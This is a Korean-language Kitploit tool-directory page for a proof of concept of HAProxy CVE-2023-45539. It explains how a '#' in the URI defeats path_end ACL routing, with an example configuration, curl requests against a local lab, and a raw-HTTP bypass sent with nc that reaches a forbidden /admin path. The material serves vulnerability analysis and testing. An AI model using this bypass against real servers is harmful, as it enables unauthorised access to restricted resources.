Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
HAProxy-CVE-2023-45539-PoC — HAProxy-CVE-2023-45539-PoC | Kitploit
도구/GitHubGitHub/slicingmelon/haproxy-cve-2023-45539-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubslicingmelon/haproxy-cve-2023-45539-poc

HAProxy-CVE-2023-45539-PoC

HAProxy-CVE-2023-45539-PoC

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
11개월 전아직 검토되지 않음

HAProxy-CVE-2023-45539-PoC

2.8.2 이전의 HAProxy는 URI 구성 요소의 일부로 #을 허용하며, 이로 인해 원격 공격자가 path_end 규칙을 잘못 해석하여 index.html#.png를 정적 서버로 라우팅하는 등의 방식으로 민감한 정보를 얻거나 기타 명시되지 않은 영향을 미칠 수 있습니다.

이 CVE에서 잘못 라우팅되는 것은 백엔드 앱이 "지원하는" 확장자가 아니라, HAProxy 자체가 path_end(또는 regex) ACL을 사용해 라우팅하도록 구성된 확장자뿐입니다.

root@kitploit:~
acl is_static path_end .png .jpg .gif .css .js
use_backend be_static if is_static

즉, 다음과 같은 의미입니다:

  • HAProxy는 백엔드가 실제로 .png, .js 등을 제공할 수 있는지 여부는 신경 쓰지 않습니다.
  • 요청 경로의 접미사 일치만 확인합니다.
  • 접미사가 해당 문자열 중 하나와 일치하면 be_static으로 라우팅합니다.

따라서:

  • /admin#.png → .png와 일치 → be_static으로 이동 → 우회
  • /admin#.asc → 일치하지 않음 → be_app에 남음 → deny에 걸림 → 403
root@kitploit:~
curl -i http://localhost:6655/public                                               
HTTP/1.1 200 OK
content-length: 7
content-type: text/plain

APP OK
root@kitploit:~
curl -i http://localhost:6655/admin 
HTTP/1.1 403 Forbidden
content-length: 93
cache-control: no-cache
content-type: text/html

<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>

우회 (Bypass)

root@kitploit:~
printf 'GET /admin#.png HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc -q1 127.0.0.1 6655
HTTP/1.1 200 OK
content-length: 31
content-type: text/plain

STATIC OK (routed by path_end)
도구 다운로드